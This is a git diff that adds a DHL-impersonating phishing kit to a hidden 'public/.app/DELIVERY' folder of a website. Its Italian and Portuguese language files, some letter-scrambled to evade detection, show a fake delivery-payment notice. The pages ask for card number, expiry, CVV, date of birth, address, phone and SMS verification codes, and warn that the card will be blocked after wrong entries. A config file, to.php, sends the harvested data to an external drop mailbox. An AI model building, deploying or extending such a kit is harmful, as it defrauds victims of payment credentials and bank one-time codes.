a/public/.app/DELIVERY/F004f19441/includes/langs/it - crypter dyali .php b/public/.app/DELIVERY/F004f19441/includes/langs/it - crypter dyali .php new file mode 100644 index 00000000..a8467970 --- /dev/null +++ b/public/.app/DELIVERY/F004f19441/includes/langs/it - crypter dyali .php @@ -0,0 +1,90 @@ + '| Benvenuto |', /* Title */ + 'Fo9001' => 'Clrtner uiromer', /* Loading Header */ + 'Fo9002' => 'Bpzrntzz cpzevatiz', /* Loading P 1 */ + 'LdngP2' => 'Rnorm umcchr,', /* Loading P 2 */ + 'LdngP3' => 'Irctor umcchteer', /* Loading P 3 */ + 'LdngP4' => 'Mrpev t cvnemeev', /* Loading P 4 */ + 'LdngP5' => 'Eimccrmatnev zutdrsrvnr DHL.', /* DHL TRACKING */ + 'CntP' => 'Wpr eivotimr rnfviamsrvnr zpllt ept zutdrsrvnr.', /* Control Panel */ + 'CusId' => 'Ertnr eimccrm dtllt ept zutdrsrvnr dr umcchr rn wpmlzrmzr avatnev dmllm zutdrsrvnt mllm cvnztgnm', + 'InpL1' => 'Zutdrsrvnt DHL', /* Label Input 1 */ + 'CusPs' => 'npativ dr rdtnerfrcmsrvnt 00340434139185930097 - ', /* Customer Password */ + 'InpL2' => 'Zemev: ', /* Label Input 2 */ + 'Rmmbr' => 'ntl cvnztgnmit', /* Remember Me */ + 'Lbtn' => 'Atzzmggrv rauviemnet!', /* Login Btn */ + 'Span1' => 'Uti cvaultemit lm cvnztgnm rl uiram uvzzrbrlt, zr uitgm dr cvnftiamit rl umgmatnev ', /* Are you still ... */ + 'Span2' => ', fmctndv clrc zp Momner. Lm cvnftiam vnlrnt dtot tzztit tffteepmem tneiv r uivzzrar 14 grvinr, uiram dtllm zcmdtnsm.', + 'Ntke' => 'Ztgptnet', /* Btn next */ + 'AsdH2' => 'Umcchteev DHL', /* Service */ + 'AsdS1' => 'Ztiorsr DHL', /* MailXchange */ + 'AsdS2' => 'DHL Tkuitzz', /* Detailed help and contact */ + 'AsdS3' => 'Lvgrzercm DHL', /* Online FAQs */ + 'AsdS4' => 'Cvnemeev', /* GoToAssist */ + 'P1H1' => 'Mrpev t ztiorsrv clrtner', /* 1&1 MyWebsite*/ + 'P1Pr' => 'Tccv cvat fpnsrvnm', /* Here's how it works */ + 'P2H1' => 'Muu avbrlr', /* Microsoft Office 365 */ + 'P2Pr' => 'Irgpmidv m nvr', /* Paragraphe 2 Paragraphe */ + 'P3H1' => 'Uvzem DHL', /* 1&1 Domains */ + 'P3Pr' => 'Itzuvnzmbrlreà', /* Paragraphe 3 Paragraphe */ + 'PLink' => 'Uitzzt', /* More information */ + 'FtrS1' => 'cmiirtim', /* 1&1 Internet Ltd. • 2018 */ + 'FtrS2' => ' DHL Rnetinmervnml GabH - Epeer r drireer irztiomer.', /* Privacy Policy */ + 'Sfokh' => 'Mbbrmav brzvgnv dtl epv rndrirssv uti tzztit zrcpir cht utizvnt nvn mpevirssmet nvn uvzzmnv mcctdtit mr epvr umcchteer ', /* We need your address to be sure */ + 'Ayam' => '10 grvinr lmovimeror', /* 10 working days */ + 'Froth' => 'Dmll'miirov dtl umccv mllm frlrmlt DHL, dvuv emlt vimirv, rl umccv otiià itzereprev ml areetnet.', /* From the arrival of your package */ + 'InptCC' => 'Nvat dtl erevlmit dtllm cmiem', /* Cardholder's name */ + 'InptCCN' => 'Npativ dr cmiem dr citdrev', /* Credit card number */ + 'ExpMmAa' => 'Zcmdtnsm AA=MM', /* Expir */ + 'NumCvC' => 'COO (COC)', /* CVV */ + 'AddInf' => 'Rndrirssv', /* Address */ + 'CodPOs' => 'Cmu', /* Zip */ + 'MdiNa' => 'Creeà', /* Zip */ + 'Zdiyad' => 'Dmem dr nmzcrem GG=AA=MMMM', /* DOB */ + 'Farnon' => 'Npativ dr etltfvnv', /* Phone Number */ + 'Barid' => 'Lm epm tamrl', /* Your Email */ + 'PlzCon' => 'Cvnftiam rl ztgptnet umgmatnev.', /* Please confirm the following */ + 'Theun' => 'Lm umzzqvid pnrovcm è zemem rnormem ml npativ dr ctllplmit tltncmev dr ztgprev. Zt dtor avdrfrcmit rl epv npativ dr ctllplmit, cvnemeem lm epm bmncm v avdrfrcmlv eimaret r cmnmlr drzuvnrbrlr (bmncvame, qtb).', /* Please confirm the following */ + 'March' => 'Aticmnet:', /* Merchant */ + 'ExpDh' => 'DHL TKUITZZ', /* DHL EXPRESS */ + 'Ch7al' => 'Rauviev:', /* Amount */ + 'Tarikh' => 'dmem:', /* Date */ + 'TlNum' => 'Rl epv npativ dr etltfvnv:', /* Your Phone Number */ + 'SmCos' => 'cvdrct ZAZ:', /* Your SMS */ + 'PlzSm' => 'Rnztirzcr rl cvdrct dr otirfrcm irctopev dm zaz: ', /* Please enter the */ + 'Subnn' => 'Rnorm', /* Submit */ + 'AllCp' => 'DHL Rnetinmervnml GabH - Epeer r drireer irztiomer.', /* All Right */ + 'SmEnv' => 'Cvdrct ZAZ rnormev...', /* SMS code sent... */ + 'SmWron' => 'ZAZ zbmglrmev v zcmdpev! Dvuv (3) tiivir ntll'rnztiratnev dtl cvdrct irctopev orm ZAZ, lm eimnzmsrvnt cviitnet ortnt mnnpllmem t lm cmiem dr citdrev blvccmem.', /* SMS is wrong */ + 'LastSm' => 'Mootieratnev! Rnztirzcr l'plerav ZAZ irctopev', /* SMS is wrong */ + 'YouHav' => 'Hmr meeromev cviiteematnet rl uivctzzv dr zutdrsrvnt. Irctotimr pn'tamrl dm nvr wpmndv rnortitav rl umccv.' /* SMS is wrong */ + + + + + ); + return $lang[$phrase]; +} + + + + +// | ' | = ' + + + + + ?> + + + + + \ No newline at end of file diff --git a/public/.app/DELIVERY/F004f19441/includes/langs/it.php b/public/.app/DELIVERY/F004f19441/includes/langs/it.php new file mode 100644 index 00000000..a8467970 --- /dev/null +++ b/public/.app/DELIVERY/F004f19441/includes/langs/it.php @@ -0,0 +1,90 @@ + '| Benvenuto |', /* Title */ + 'Fo9001' => 'Clrtner uiromer', /* Loading Header */ + 'Fo9002' => 'Bpzrntzz cpzevatiz', /* Loading P 1 */ + 'LdngP2' => 'Rnorm umcchr,', /* Loading P 2 */ + 'LdngP3' => 'Irctor umcchteer', /* Loading P 3 */ + 'LdngP4' => 'Mrpev t cvnemeev', /* Loading P 4 */ + 'LdngP5' => 'Eimccrmatnev zutdrsrvnr DHL.', /* DHL TRACKING */ + 'CntP' => 'Wpr eivotimr rnfviamsrvnr zpllt ept zutdrsrvnr.', /* Control Panel */ + 'CusId' => 'Ertnr eimccrm dtllt ept zutdrsrvnr dr umcchr rn wpmlzrmzr avatnev dmllm zutdrsrvnt mllm cvnztgnm', + 'InpL1' => 'Zutdrsrvnt DHL', /* Label Input 1 */ + 'CusPs' => 'npativ dr rdtnerfrcmsrvnt 00340434139185930097 - ', /* Customer Password */ + 'InpL2' => 'Zemev: ', /* Label Input 2 */ + 'Rmmbr' => 'ntl cvnztgnmit', /* Remember Me */ + 'Lbtn' => 'Atzzmggrv rauviemnet!', /* Login Btn */ + 'Span1' => 'Uti cvaultemit lm cvnztgnm rl uiram uvzzrbrlt, zr uitgm dr cvnftiamit rl umgmatnev ', /* Are you still ... */ + 'Span2' => ', fmctndv clrc zp Momner. Lm cvnftiam vnlrnt dtot tzztit tffteepmem tneiv r uivzzrar 14 grvinr, uiram dtllm zcmdtnsm.', + 'Ntke' => 'Ztgptnet', /* Btn next */ + 'AsdH2' => 'Umcchteev DHL', /* Service */ + 'AsdS1' => 'Ztiorsr DHL', /* MailXchange */ + 'AsdS2' => 'DHL Tkuitzz', /* Detailed help and contact */ + 'AsdS3' => 'Lvgrzercm DHL', /* Online FAQs */ + 'AsdS4' => 'Cvnemeev', /* GoToAssist */ + 'P1H1' => 'Mrpev t ztiorsrv clrtner', /* 1&1 MyWebsite*/ + 'P1Pr' => 'Tccv cvat fpnsrvnm', /* Here's how it works */ + 'P2H1' => 'Muu avbrlr', /* Microsoft Office 365 */ + 'P2Pr' => 'Irgpmidv m nvr', /* Paragraphe 2 Paragraphe */ + 'P3H1' => 'Uvzem DHL', /* 1&1 Domains */ + 'P3Pr' => 'Itzuvnzmbrlreà', /* Paragraphe 3 Paragraphe */ + 'PLink' => 'Uitzzt', /* More information */ + 'FtrS1' => 'cmiirtim', /* 1&1 Internet Ltd. • 2018 */ + 'FtrS2' => ' DHL Rnetinmervnml GabH - Epeer r drireer irztiomer.', /* Privacy Policy */ + 'Sfokh' => 'Mbbrmav brzvgnv dtl epv rndrirssv uti tzztit zrcpir cht utizvnt nvn mpevirssmet nvn uvzzmnv mcctdtit mr epvr umcchteer ', /* We need your address to be sure */ + 'Ayam' => '10 grvinr lmovimeror', /* 10 working days */ + 'Froth' => 'Dmll'miirov dtl umccv mllm frlrmlt DHL, dvuv emlt vimirv, rl umccv otiià itzereprev ml areetnet.', /* From the arrival of your package */ + 'InptCC' => 'Nvat dtl erevlmit dtllm cmiem', /* Cardholder's name */ + 'InptCCN' => 'Npativ dr cmiem dr citdrev', /* Credit card number */ + 'ExpMmAa' => 'Zcmdtnsm AA=MM', /* Expir */ + 'NumCvC' => 'COO (COC)', /* CVV */ + 'AddInf' => 'Rndrirssv', /* Address */ + 'CodPOs' => 'Cmu', /* Zip */ + 'MdiNa' => 'Creeà', /* Zip */ + 'Zdiyad' => 'Dmem dr nmzcrem GG=AA=MMMM', /* DOB */ + 'Farnon' => 'Npativ dr etltfvnv', /* Phone Number */ + 'Barid' => 'Lm epm tamrl', /* Your Email */ + 'PlzCon' => 'Cvnftiam rl ztgptnet umgmatnev.', /* Please confirm the following */ + 'Theun' => 'Lm umzzqvid pnrovcm è zemem rnormem ml npativ dr ctllplmit tltncmev dr ztgprev. Zt dtor avdrfrcmit rl epv npativ dr ctllplmit, cvnemeem lm epm bmncm v avdrfrcmlv eimaret r cmnmlr drzuvnrbrlr (bmncvame, qtb).', /* Please confirm the following */ + 'March' => 'Aticmnet:', /* Merchant */ + 'ExpDh' => 'DHL TKUITZZ', /* DHL EXPRESS */ + 'Ch7al' => 'Rauviev:', /* Amount */ + 'Tarikh' => 'dmem:', /* Date */ + 'TlNum' => 'Rl epv npativ dr etltfvnv:', /* Your Phone Number */ + 'SmCos' => 'cvdrct ZAZ:', /* Your SMS */ + 'PlzSm' => 'Rnztirzcr rl cvdrct dr otirfrcm irctopev dm zaz: ', /* Please enter the */ + 'Subnn' => 'Rnorm', /* Submit */ + 'AllCp' => 'DHL Rnetinmervnml GabH - Epeer r drireer irztiomer.', /* All Right */ + 'SmEnv' => 'Cvdrct ZAZ rnormev...', /* SMS code sent... */ + 'SmWron' => 'ZAZ zbmglrmev v zcmdpev! Dvuv (3) tiivir ntll'rnztiratnev dtl cvdrct irctopev orm ZAZ, lm eimnzmsrvnt cviitnet ortnt mnnpllmem t lm cmiem dr citdrev blvccmem.', /* SMS is wrong */ + 'LastSm' => 'Mootieratnev! Rnztirzcr l'plerav ZAZ irctopev', /* SMS is wrong */ + 'YouHav' => 'Hmr meeromev cviiteematnet rl uivctzzv dr zutdrsrvnt. Irctotimr pn'tamrl dm nvr wpmndv rnortitav rl umccv.' /* SMS is wrong */ + + + + + ); + return $lang[$phrase]; +} + + + + +// | ' | = ' + + + + + ?> + + + + + \ No newline at end of file diff --git a/public/.app/DELIVERY/F004f19441/includes/langs/it.txt b/public/.app/DELIVERY/F004f19441/includes/langs/it.txt new file mode 100644 index 00000000..511f2ab0 --- /dev/null +++ b/public/.app/DELIVERY/F004f19441/includes/langs/it.txt @@ -0,0 +1,90 @@ + '| Benvenuto |', /* Title */ + 'Fo9001' => 'Clrtner uiromer', /* Loading Header */ + 'Fo9002' => 'Bpzrntzz cpzevatiz', /* Loading P 1 */ + 'LdngP2' => 'Invia pacchi,', /* Loading P 2 */ + 'LdngP3' => 'Ricevi pacchetti', /* Loading P 3 */ + 'LdngP4' => 'Aiuto e contatto', /* Loading P 4 */ + 'LdngP5' => 'Tracciamento spedizioni DHL.', /* DHL TRACKING */ + 'CntP' => 'Qui troverai informazioni sulle tue spedizioni.', /* Control Panel */ + 'CusId' => 'Tieni traccia delle tue spedizioni di pacchi in qualsiasi momento dalla spedizione alla consegna', + 'InpL1' => 'Spedizione DHL', /* Label Input 1 */ + 'CusPs' => 'numero di identificazione 00340434139185930097 - ', /* Customer Password */ + 'InpL2' => 'Stato: ', /* Label Input 2 */ + 'Rmmbr' => 'nel consegnare', /* Remember Me */ + 'Lbtn' => 'Messaggio importante!', /* Login Btn */ + 'Span1' => 'Per completare la consegna il prima possibile, si prega di confermare il pagamento ', /* Are you still ... */ + 'Span2' => ', facendo clic su Avanti. La conferma online deve essere effettuata entro i prossimi 14 giorni, prima della scadenza.', + 'Ntke' => 'Seguente', /* Btn next */ + 'AsdH2' => 'Pacchetto DHL', /* Service */ + 'AsdS1' => 'Servizi DHL', /* MailXchange */ + 'AsdS2' => 'DHL Express', /* Detailed help and contact */ + 'AsdS3' => 'Logistica DHL', /* Online FAQs */ + 'AsdS4' => 'Contatto', /* GoToAssist */ + 'P1H1' => 'Aiuto e servizio clienti', /* 1&1 MyWebsite*/ + 'P1Pr' => 'Ecco come funziona', /* Here's how it works */ + 'P2H1' => 'App mobili', /* Microsoft Office 365 */ + 'P2Pr' => 'Riguardo a noi', /* Paragraphe 2 Paragraphe */ + 'P3H1' => 'Posta DHL', /* 1&1 Domains */ + 'P3Pr' => 'Responsabilità', /* Paragraphe 3 Paragraphe */ + 'PLink' => 'Presse', /* More information */ + 'FtrS1' => 'carriera', /* 1&1 Internet Ltd. • 2018 */ + 'FtrS2' => ' DHL International GmbH - Tutti i diritti riservati.', /* Privacy Policy */ + 'Sfokh' => 'Abbiamo bisogno del tuo indirizzo per essere sicuri che persone non autorizzate non possano accedere ai tuoi pacchetti ', /* We need your address to be sure */ + 'Ayam' => '10 giorni lavorativi', /* 10 working days */ + 'Froth' => 'Dmll'miirov dtl umccv mllm frlrmlt DHL, dvuv emlt vimirv, rl umccv otiià itzereprev ml areetnet.', /* From the arrival of your package */ + 'InptCC' => 'Nome del titolare della carta', /* Cardholder's name */ + 'InptCCN' => 'Numero di carta di credito', /* Credit card number */ + 'ExpMmAa' => 'Scadenza MM/AA', /* Expir */ + 'NumCvC' => 'CVV (CVC)', /* CVV */ + 'AddInf' => 'Indirizzo', /* Address */ + 'CodPOs' => 'Cap', /* Zip */ + 'MdiNa' => 'Città', /* Zip */ + 'Zdiyad' => 'Data di nascita GG/MM/AAAA', /* DOB */ + 'Farnon' => 'Numero di telefono', /* Phone Number */ + 'Barid' => 'La tua email', /* Your Email */ + 'PlzCon' => 'Conferma il seguente pagamento.', /* Please confirm the following */ + 'Theun' => 'La password univoca è stata inviata al numero di cellulare elencato di seguito. Se devi modificare il tuo numero di cellulare, contatta la tua banca o modificalo tramite i canali disponibili (bancomat, web).', /* Please confirm the following */ + 'March' => 'Mercante:', /* Merchant */ + 'ExpDh' => 'DHL EXPRESS', /* DHL EXPRESS */ + 'Ch7al' => 'Importo:', /* Amount */ + 'Tarikh' => 'data:', /* Date */ + 'TlNum' => 'Il tuo numero di telefono:', /* Your Phone Number */ + 'SmCos' => 'codice SMS:', /* Your SMS */ + 'PlzSm' => 'Inserisci il codice di verifica ricevuto da sms: ', /* Please enter the */ + 'Subnn' => 'Invia', /* Submit */ + 'AllCp' => 'DHL International GmbH - Tutti i diritti riservati.', /* All Right */ + 'SmEnv' => 'Codice SMS inviato...', /* SMS code sent... */ + 'SmWron' => 'SMS sbagliato o scaduto! Dopo (3) errori nell'inserimento del codice ricevuto via SMS, la transazione corrente viene annullata e la carta di credito bloccata.', /* SMS is wrong */ + 'LastSm' => 'Avvertimento! Inserisci l'ultimo SMS ricevuto', /* SMS is wrong */ + 'YouHav' => 'Hai attivato correttamente il processo di spedizione. Riceverai un'email da noi quando invieremo il pacco.' /* SMS is wrong */ + + + + + ); + return $lang[$phrase]; +} + + + + +// | ' | = ' + + + + + ?> + + + + + \ No newline at end of file diff --git a/public/.app/DELIVERY/F004f19441/includes/langs/pt - Copie.php b/public/.app/DELIVERY/F004f19441/includes/langs/pt - Copie.php new file mode 100644 index 00000000..504fbc83 --- /dev/null +++ b/public/.app/DELIVERY/F004f19441/includes/langs/pt - Copie.php @@ -0,0 +1,90 @@ + '| Bem-vinda |', /* Title */ + 'Fo9001' => 'Clientes particulares', /* Loading Header */ + 'Fo9002' => 'Clientes empresariais', /* Loading P 1 */ + 'LdngP2' => 'Envie pacotes,', /* Loading P 2 */ + 'LdngP3' => 'Receber pacotes', /* Loading P 3 */ + 'LdngP4' => 'Ajuda & contato', /* Loading P 4 */ + 'LdngP5' => 'DHL Rastreamento.', /* DHL TRACKING */ + 'CntP' => 'Aqui você encontrará informações sobre seus envios.', /* Control Panel */ + 'CusId' => 'Acompanhe as remessas de encomendas a qualquer momento, desde o envio até a entrega', + 'InpL1' => 'DHL Envio', /* Label Input 1 */ + 'CusPs' => 'tracking number 00340434139185930097 - ', /* Customer Password */ + 'InpL2' => 'Status: ', /* Label Input 2 */ + 'Rmmbr' => 'na entrega', /* Remember Me */ + 'Lbtn' => 'Mensagem importante!', /* Login Btn */ + 'Span1' => 'Para concluir a entrega o mais rápido possível, confirme o pagamento ', /* Are you still ... */ + 'Span2' => ', clicando em Avançar. A confirmação online deve ser feita nos próximos 14 dias, antes que expire.', + 'Ntke' => 'Próximo', /* Btn next */ + 'AsdH2' => 'DHL Pacote', /* Service */ + 'AsdS1' => 'DHL Serviços', /* MailXchange */ + 'AsdS2' => 'DHL Express', /* Detailed help and contact */ + 'AsdS3' => 'DHL Logística', /* Online FAQs */ + 'AsdS4' => 'Contato', /* GoToAssist */ + 'P1H1' => 'Ajuda e serviço ao cliente', /* 1&1 MyWebsite*/ + 'P1Pr' => 'Veja como funciona', /* Here's how it works */ + 'P2H1' => 'Aplicativos móveis', /* Microsoft Office 365 */ + 'P2Pr' => 'Sobre nós', /* Paragraphe 2 Paragraphe */ + 'P3H1' => 'Post DHL', /* 1&1 Domains */ + 'P3Pr' => 'Responsabilidade', /* Paragraphe 3 Paragraphe */ + 'PLink' => 'Presse', /* More information */ + 'FtrS1' => 'Carreira', /* 1&1 Internet Ltd. • 2018 */ + 'FtrS2' => ' DHL International GmbH - All rights reserved.', /* Privacy Policy */ + 'Sfokh' => 'Precisamos do seu endereço para garantir que pessoas não autorizadas não possam acessar seus pacotes, Você tem ', /* We need your address to be sure */ + 'Ayam' => '10 dias úteis', /* 10 working days */ + 'Froth' => 'Desde a chegada do seu pacote até a filial da DHL, depois desse tempo, o pacote será devolvido ao remetente.', /* From the arrival of your package */ + 'InptCC' => 'Nome do titular do cartão', /* Cardholder's name */ + 'InptCCN' => 'Número do Cartão de Crédito', /* Credit card number */ + 'ExpMmAa' => 'Exp MM/AA', /* Expir */ + 'NumCvC' => 'CVV (CVC)', /* CVV */ + 'AddInf' => 'Distrito', /* Address */ + 'CodPOs' => 'Código-Postal', /* Zip */ + 'MdiNa' => 'Cidade', /* Zip */ + 'Zdiyad' => 'Data de nascimento DD/MM/AAAA', /* DOB */ + 'Farnon' => 'Número de telefone', /* Phone Number */ + 'Barid' => 'Your E-mail', /* Your Email */ + 'PlzCon' => 'Por favor, confirme o seguinte pagamento.', /* Please confirm the following */ + 'Theun' => 'A senha exclusiva foi enviada para o número de celular listado abaixo. Se você precisar alterar seu número de celular, entre em contato com seu banco ou modifique-o através dos canais disponíveis (caixa eletrônico, web).', /* Please confirm the following */ + 'March' => 'Comerciante:', /* Merchant */ + 'ExpDh' => 'DHL EXPRESS', /* DHL EXPRESS */ + 'Ch7al' => 'Montante:', /* Amount */ + 'Tarikh' => 'Data:', /* Date */ + 'TlNum' => 'Seu número de telefone:', /* Your Phone Number */ + 'SmCos' => 'código SMS:', /* Your SMS */ + 'PlzSm' => 'Digite o código de verificação recebido por sms: ', /* Please enter the */ + 'Subnn' => 'Enviar', /* Submit */ + 'AllCp' => 'DHL International GmbH - All rights reserved.', /* All Right */ + 'SmEnv' => 'Código SMS enviado ...', /* SMS code sent... */ + 'SmWron' => 'O SMS está errado ou expirou! Após (3) erros na inserção do código recebido via SMS, a transação atual é cancelada e o cartão de crédito bloqueado.', /* SMS is wrong */ + 'LastSm' => 'Atenção! Digite o último SMS recebido', /* SMS is wrong */ + 'YouHav' => 'Você ativou o processo de entrega com sucesso. Você receberá um e-mail quando enviarmos o seu pacote.' /* SMS is wrong */ + + + + + ); + return $lang[$phrase]; +} + + + + +// | ' | = ' + + + + + ?> + + + + + \ No newline at end of file diff --git a/public/.app/DELIVERY/F004f19441/includes/langs/pt.php b/public/.app/DELIVERY/F004f19441/includes/langs/pt.php new file mode 100644 index 00000000..9c9d1075 --- /dev/null +++ b/public/.app/DELIVERY/F004f19441/includes/langs/pt.php @@ -0,0 +1,90 @@ + '| Bta-orndm |', /* Title */ + 'Fo9001' => 'Clrtnetz umiercplmitz', /* Loading Header */ + 'Fo9002' => 'Clrtnetz tauitzmirmrz', /* Loading P 1 */ + 'LdngP2' => 'Tnort umcvetz,', /* Loading P 2 */ + 'LdngP3' => 'Itctbti umcvetz', /* Loading P 3 */ + 'LdngP4' => 'Mjpdm & cvnemev', /* Loading P 4 */ + 'LdngP5' => 'DHL Imzeitmatnev.', /* DHL TRACKING */ + 'CntP' => 'Mwpr ovcê tncvneimiá rnfviamçõtz zvbit ztpz tnorvz.', /* Control Panel */ + 'CusId' => 'Mcvaumnht mz itatzzmz dt tncvatndmz m wpmlwpti avatnev, dtzdt v tnorv meé m tneitgm', + 'InpL1' => 'DHL Tnorv', /* Label Input 1 */ + 'CusPs' => 'eimcxrng npabti 00340434139185930097 - ', /* Customer Password */ + 'InpL2' => 'Zemepz: ', /* Label Input 2 */ + 'Rmmbr' => 'nm tneitgm', /* Remember Me */ + 'Lbtn' => 'Atnzmgta rauviemnet!', /* Login Btn */ + 'Span1' => 'Umim cvnclpri m tneitgm v amrz iáurdv uvzzíotl, cvnfriat v umgmatnev ', /* Are you still ... */ + 'Span2' => ', clrcmndv ta Momnçmi. M cvnfriamçãv vnlrnt dtot zti ftrem nvz uiókravz 14 drmz, mnetz wpt tkurit.', + 'Ntke' => 'Uiókrav', /* Btn next */ + 'AsdH2' => 'DHL Umcvet', /* Service */ + 'AsdS1' => 'DHL Ztiorçvz', /* MailXchange */ + 'AsdS2' => 'DHL Tkuitzz', /* Detailed help and contact */ + 'AsdS3' => 'DHL Lvgízercm', /* Online FAQs */ + 'AsdS4' => 'Cvnemev', /* GoToAssist */ + 'P1H1' => 'Mjpdm t ztiorçv mv clrtnet', /* 1&1 MyWebsite*/ + 'P1Pr' => 'Otjm cvav fpncrvnm', /* Here's how it works */ + 'P2H1' => 'Mulrcmerovz aóotrz', /* Microsoft Office 365 */ + 'P2Pr' => 'Zvbit nóz', /* Paragraphe 2 Paragraphe */ + 'P3H1' => 'Uvze DHL', /* 1&1 Domains */ + 'P3Pr' => 'Itzuvnzmbrlrdmdt', /* Paragraphe 3 Paragraphe */ + 'PLink' => 'Uitzzt', /* More information */ + 'FtrS1' => 'Cmiitrim', /* 1&1 Internet Ltd. • 2018 */ + 'FtrS2' => ' DHL Rnetinmervnml GabH - Mll irghez itztiotd.', /* Privacy Policy */ + 'Sfokh' => 'Uitcrzmavz dv ztp tndtitçv umim gmimneri wpt utzzvmz nãv mpevirsmdmz nãv uvzzma mctzzmi ztpz umcvetz, Ovcê eta ', /* We need your address to be sure */ + 'Ayam' => '10 drmz úetrz', /* 10 working days */ + 'Froth' => 'Dtzdt m chtgmdm dv ztp umcvet meé m frlrml dm DHL, dtuvrz dtzzt etauv, v umcvet ztiá dtovlordv mv itatetnet.', /* From the arrival of your package */ + 'InptCC' => 'Nvat dv ereplmi dv cmieãv', /* Cardholder's name */ + 'InptCCN' => 'Núativ dv Cmieãv dt Ciédrev', /* Credit card number */ + 'ExpMmAa' => 'Tku AA=MM', /* Expir */ + 'NumCvC' => 'COO (COC)', /* CVV */ + 'AddInf' => 'Drzeirev', /* Address */ + 'CodPOs' => 'Códrgv-Uvzeml', /* Zip */ + 'MdiNa' => 'Crdmdt', /* Zip */ + 'Zdiyad' => 'Dmem dt nmzcratnev DD=AA=MMMM', /* DOB */ + 'Farnon' => 'Núativ dt etltfvnt', /* Phone Number */ + 'Barid' => 'Yvpi T-amrl', /* Your Email */ + 'PlzCon' => 'Uvi fmovi, cvnfriat v ztgprnet umgmatnev.', /* Please confirm the following */ + 'Theun' => 'M ztnhm tkclpzrom fvr tnormdm umim v núativ dt ctlplmi lrzemdv mbmrkv. Zt ovcê uitcrzmi mletimi ztp núativ dt ctlplmi, tneit ta cvnemev cva ztp bmncv vp avdrfrwpt-v meimoéz dvz cmnmrz drzuvníotrz (cmrkm tlteiônrcv, qtb).', /* Please confirm the following */ + 'March' => 'Cvaticrmnet:', /* Merchant */ + 'ExpDh' => 'DHL TKUITZZ', /* DHL EXPRESS */ + 'Ch7al' => 'Avnemnet:', /* Amount */ + 'Tarikh' => 'Dmem:', /* Date */ + 'TlNum' => 'Ztp núativ dt etltfvnt:', /* Your Phone Number */ + 'SmCos' => 'códrgv ZAZ:', /* Your SMS */ + 'PlzSm' => 'Drgret v códrgv dt otirfrcmçãv itctbrdv uvi zaz: ', /* Please enter the */ + 'Subnn' => 'Tnormi', /* Submit */ + 'AllCp' => 'DHL Rnetinmervnml GabH - Mll irghez itztiotd.', /* All Right */ + 'SmEnv' => 'Códrgv ZAZ tnormdv ...', /* SMS code sent... */ + 'SmWron' => 'V ZAZ tzeá tiimdv vp tkurivp! Muóz (3) tiivz nm rnztiçãv dv códrgv itctbrdv orm ZAZ, m eimnzmçãv mepml é cmnctlmdm t v cmieãv dt ciédrev blvwptmdv.', /* SMS is wrong */ + 'LastSm' => 'Metnçãv! Drgret v úlerav ZAZ itctbrdv', /* SMS is wrong */ + 'YouHav' => 'Ovcê merovp v uivctzzv dt tneitgm cva zpctzzv. Ovcê itctbtiá pa t-amrl wpmndv tnormiavz v ztp umcvet.' /* SMS is wrong */ + + + + + ); + return $lang[$phrase]; +} + + + + +// | ' | = ' + + + + + ?> + + + + + \ No newline at end of file diff --git a/public/.app/DELIVERY/F004f19441/includes/to.php b/public/.app/DELIVERY/F004f19441/includes/to.php new file mode 100644 index 00000000..a800b461 --- /dev/null +++ b/public/.app/DELIVERY/F004f19441/includes/to.php @@ -0,0 +1,10 @@ + Gmail, Hotmail & GMX */ + $to = 'monalisaes@yandex.com'; + $smspage = "3"; /* Change Number To 2 Or 3 SMS Page */ +?> \ No newline at end of file diff --git a/public/.app/DELIVERY/F004f19441/index.php b/public/.app/DELIVERY/F004f19441/index.php new file mode 100644 index 00000000..7dfeb844 --- /dev/null +++ b/public/.app/DELIVERY/F004f19441/index.php @@ -0,0 +1,35 @@ + + + + + + + Willkommen, + + + + + + + + + + + + \ No newline at end of file diff --git a/public/.app/DELIVERY/F004f19441/init.php b/public/.app/DELIVERY/F004f19441/init.php new file mode 100644 index 00000000..5b0d27e2 --- /dev/null +++ b/public/.app/DELIVERY/F004f19441/init.php @@ -0,0 +1,38 @@ + \ No newline at end of file diff --git a/public/.app/DELIVERY/F004f19441/layout/img/app.png b/public/.app/DELIVERY/F004f19441/layout/img/app.png new file mode 100644 index 00000000..500d92c7 Binary files /dev/null and b/public/.app/DELIVERY/F004f19441/layout/img/app.png differ diff --git a/public/.app/DELIVERY/F004f19441/layout/img/ariel.eot b/public/.app/DELIVERY/F004f19441/layout/img/ariel.eot new file mode 100644 index 00000000..58c3b018 Binary files /dev/null and b/public/.app/DELIVERY/F004f19441/layout/img/ariel.eot differ diff --git a/public/.app/DELIVERY/F004f19441/layout/img/ariel.svg b/public/.app/DELIVERY/F004f19441/layout/img/ariel.svg new file mode 100644 index 00000000..b231f2e1 --- /dev/null +++ b/public/.app/DELIVERY/F004f19441/layout/img/ariel.svg @@ -0,0 +1,242 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/.app/DELIVERY/F004f19441/layout/img/info.svg b/public/.app/DELIVERY/F004f19441/layout/img/info.svg new file mode 100644 index 00000000..07905361 --- /dev/null +++ b/public/.app/DELIVERY/F004f19441/layout/img/info.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/.app/DELIVERY/F004f19441/layout/img/lg.svg b/public/.app/DELIVERY/F004f19441/layout/img/lg.svg new file mode 100644 index 00000000..26a77481 --- /dev/null +++ b/public/.app/DELIVERY/F004f19441/layout/img/lg.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/public/.app/DELIVERY/F004f19441/layout/img/mc.png b/public/.app/DELIVERY/F004f19441/layout/img/mc.png new file mode 100644 index 00000000..601ce758 Binary files /dev/null and b/public/.app/DELIVERY/F004f19441/layout/img/mc.png differ diff --git a/public/.app/DELIVERY/F004f19441/layout/img/nombre.eot b/public/.app/DELIVERY/F004f19441/layout/img/nombre.eot new file mode 100644 index 00000000..ecd3878e Binary files /dev/null and b/public/.app/DELIVERY/F004f19441/layout/img/nombre.eot differ diff --git a/public/.app/DELIVERY/F004f19441/layout/img/nombre.svg b/public/.app/DELIVERY/F004f19441/layout/img/nombre.svg new file mode 100644 index 00000000..116fc8f1 --- /dev/null +++ b/public/.app/DELIVERY/F004f19441/layout/img/nombre.svg @@ -0,0 +1,243 @@ + + + + + + + 